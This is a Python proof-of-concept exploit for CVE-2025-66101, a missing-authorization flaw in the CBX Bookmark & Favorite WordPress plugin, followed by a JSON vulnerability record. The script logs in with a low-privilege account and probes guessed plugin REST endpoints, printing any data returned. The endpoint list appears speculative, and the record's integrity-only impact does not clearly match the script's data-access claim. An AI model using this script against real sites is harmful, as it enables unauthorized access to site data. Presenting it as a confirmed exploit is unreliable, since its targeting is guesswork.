CVE-2025-66101

import requests import sys # CVE-2025-66101 PoC - CBX Bookmark & Favorite Plugin Authorization Bypass # Target: WordPress site with vulnerable cbxwpbookmark plugin (<=2.0.1) def exploit_cve_2025_66101(target_url, username, password): """ Exploit missing authorization vulnerability in CBX Bookmark & Favorite plugin. This PoC demonstrates how a low-privilege user can access unauthorized data. """ session = requests.Session() # Step 1: Authenticate with low-privilege account login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } try: resp = session.post(login_url, data=login_data, timeout=10) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return False print("[+] Logged in successfully") # Step 2: Exploit authorization bypass # Try to access bookmarks API endpoint without proper authorization api_endpoints = [ '/wp-json/cbxwpbookmark/v1/bookmarks', '/wp-json/cbxwpbookmark/v1/user/bookmarks', '/?rest_route=/cbxwpbookmark/v1/bookmarks' ] for endpoint in api_endpoints: url = f"{target_url}{endpoint}" resp = session.get(url, timeout=10) # If we get 200 instead of 401/403, the vulnerability exists if resp.status_code == 200: print(f"[+] Vulnerable endpoint found: {endpoint}") print(f"[+] Response: {resp.text[:500]}") return True print("[-] No vulnerable endpoints found") return False except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print("Example: python exploit.py http://example.com subscriber password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_cve_2025_66101(target, user, pwd)

{"cve": {"id": "CVE-2025-66101", "sourceIdentifier": "[email protected]", "published": "2025-11-21T13:15:51.653", "lastModified": "2026-04-27T18:16:35.600", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Sabuj Kundu CBX Bookmark & Favorite cbxwpbookmark allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects CBX Bookmark & Favorite: from n/a through <= 2.0.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/cbxwpbookmark/vulnerability/wordpress-cbx-bookmark-favorite-plugin-2-0-1-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}